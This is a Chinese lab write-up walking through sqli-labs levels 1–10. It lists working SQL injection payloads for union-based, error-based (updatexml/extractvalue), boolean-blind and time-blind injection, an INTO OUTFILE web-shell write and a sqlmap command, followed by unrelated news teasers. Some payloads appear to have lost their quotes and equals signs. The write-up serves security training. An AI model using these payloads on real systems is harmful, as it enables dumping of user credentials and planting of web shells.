sqli-labs第1-10关 Less1?id1 order by 3 --?id1 ordeer by 4 --报错说明有个3字段让这3个字段显现?id-1 union select 1,2,3--只有23位显现现在查数据库表行数据查所有数据库?id-1union select 1,group_concat(schema_name),from information_schema.schemata--查security的所有表名:?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--查user表的所有数据?id-1%27%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_nameusers --?id-1 union select 1,group_concat(username,|,password),3 from users--Less2?id1 and 11?id1 and 12查数据库?id-1 union select 1,group_concat(schema_name),3 from information_schema.schemata查表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity查行查数据?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusersLess3?id1) and 11 --?id1) and 12 --查数据库?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata--查表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --查数据?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers --Less4?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata -- 最初就是不断尝试用 ) 一般都是这几个然后尝试 ?id1),只要界面变化就有可能是我是这样判断的Less5(报错注入)?id1?id1主要是正常界面它都没有回显点不像1234关那样那就用报错注入?id1 and updatexml(1,0x7e,1) --固定模板 ?id1 and updatexml(1,concat(0x7e,(子查询),0x7e),1) -- ?id1 and extractvalue(1,concat(0x7e,(你的子查询),0x7e)) --报错注入限制一定要记updatexml报错输出最多32 字符不能直接 group_concat要用limit n,1逐条爆extractvalue最多31 字符同样不能直接 group_concat子查询必须用括号包裹(select xxx from xxx)updatexml / extractvalue→ 放在and后面作为 where 条件不管原查询多少字段payload 不用改?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--写法含义 limit 0,1取第 1 行 limit 1,1取第 2 行 limit 2,1取第 3 行 limit 3,1取第 4 行 limit 4,1取第 5 行 limit 0,1表示第一行第一个把0变化为12345等就能爆出数据库查数据库改limit就能遍历数据库了在此查security?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 6,1),0x7e),0x7e)--查表?id1 and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),0x7e)--修改limit 0,1 为limit 6,1找到users表查数据?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 0,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 1,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 2,1),0x7e),0x7e) --?id1 and updatexml(1,concat(1,(select username from users limit 0,1),0x7e),0x7e)--Less6(报错注入)?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--Less7(文件读写)要求文件读写条件1.文件读写注入条件secure_file_priv2.magic_quotes_gpcOff3.要知道服务器的绝对路径4.登录账户具有root权限读取文件load_file()用法select load_file(D://password.txt),表示读取D盘下的password.txt文件写文件into outdile()利用写文件写入木马?id1))找到闭合方式为))写入一句话木马?id-1)) union select 1,2,?php phpinfo();? into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --访问shell.php看有没有被解析windows必须使用\\或者/或者自己在服务器上面写一句话木马文件然后上传这样成功率高一点因为在url里面写入容易被转义。?id-1)) union select 1,2,127.0.0.1/shell.php into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --Less8(布尔盲注)函数介绍 ascii(str) #返回字符串的 ASCII 码 length(str) #返回字符串的长度 mid(str,index,j) #返回str的从index开始后的j位(index是从1开始的) substr(str,index,j) #和mid功能一样?id1 and 11--?id1and 12--只有and后面条件判断为true时才有回显猜出数据库的长度 ?id1and length(database())8--从0-8发现数据库的长度为8猜数据库名 ?id1and ascii(mid(database(),1,1))115--这里可以使用bp爆破还可以用sqlmap跑我们演示一下sqlmappython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1 --batch --dbsLess8 是单引号布尔盲注sqlmap 会自动去探测闭合符号不要自己提前加id1参数解释-u目标 URL参数写原始正常值id1--batch全部默认 yes 自动确认不用手动输入 y--dbs爆破所有数据库名Less9(延时注入)?id1and 12-- ?id1and 11-- ?id1and 11--多种注入方式回显都一样尝试延时注入利用函数 if(条件,a,b) #当条件为真返回a,否则返回b sleep(8) #进程睡眠5秒?id1and if(length(database())8,sleep(7),1)--确实延时了7秒猜数据库名 ?id1and if(ascii(mid(database(),1,1))115,sleep(5),1)--确实延迟了5秒这里都可以用爆破但是用sqlmap块些延时盲注也能用sqlmap跑Less10(延时注入)也是怎么尝试都没反应就想到延时注入用这个方法测出注入点 ?id1and if(length(database())8,sleep(5),1)--用sqlmap跑......等待结果就可以文章参考2025 sqli-labs通关流程 手把手教 详细讲解_sqlilabs-CSDN博客

相关新闻

最新新闻

直流伺服与交流伺服怎么选?从性能、经济、维护、扩展四大维度深度分析

直流伺服与交流伺服怎么选?从性能、经济、维护、扩展四大维度深度分析

在自动化设备的选型过程中,伺服电机的选择往往决定了整个系统的性能上限与运营成本。直流伺服和交流伺服作为两大主流技术路线,各有其不可替代的优势。本文从性能、经济、维护、扩展四个维度展开对比,帮助您根据实际工况做出科学决策。 [外链图片转存中…(img-VRhX9cpB-178…

2026/8/21 11:42:52
C++开发者必学:Qt GUI框架实战入门与员工信息管理系统开发

C++开发者必学:Qt GUI框架实战入门与员工信息管理系统开发

很多C开发者都有这样的困惑:我C语法学得不错,也做过一些控制台项目,但一到实际工作岗位,发现企业要的是能开发图形界面、能写跨平台应用、能处理网络通信的“全栈式”C工程师。这时候,你才发现,只会写黑框框…

2026/8/21 11:42:52
FastAPI实战:从零构建高性能Python Web API与数据库集成

FastAPI实战:从零构建高性能Python Web API与数据库集成

在实际 Python Web 开发中,选择一个性能优异、开发高效且易于维护的框架是项目成功的关键。FastAPI 凭借其基于 Python 类型提示的自动 API 文档生成、异步支持以及媲美 Node.js 和 Go 的高性能,迅速成为构建现代 API 的热门选择。对于从 Flask 或 Djang…

2026/8/21 11:42:52
2026 小红薯怎么批量做爆款图文?飙算工具箱实测答案

2026 小红薯怎么批量做爆款图文?飙算工具箱实测答案

做小红书图文创作的伙伴们,想必都有过这样的困扰:对着空白页面迟迟想不出合适选题,参考同行作品时,总是抓不住内容架构精髓,文案写完后还要逐句排查违规词汇,整个创作过程耗时又费力。2026年,内…

2026/8/21 11:42:52
DeepSeek Harness插件dsh-tool-autoexpand:自动展开AI工具调用结果,提升终端开发效率

DeepSeek Harness插件dsh-tool-autoexpand:自动展开AI工具调用结果,提升终端开发效率

这次我们来看一个能提升开发效率的实用工具——DeepSeek Harness(简称DSH)及其核心插件dsh-tool-autoexpand。如果你经常在终端里与AI助手交互,尤其是使用DeepSeek等模型进行代码生成、问题解答,那么这个插件能解决一个非常具体的…

2026/8/21 11:42:52
Visual C++ 运行库一键修复指南:免费解决 Windows 软件启动失败

Visual C++ 运行库一键修复指南:免费解决 Windows 软件启动失败

Visual C 运行库一键修复指南:免费解决 Windows 软件启动失败 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist VisualCppRedist AIO 是一款开源免费的…

2026/8/21 11:37:52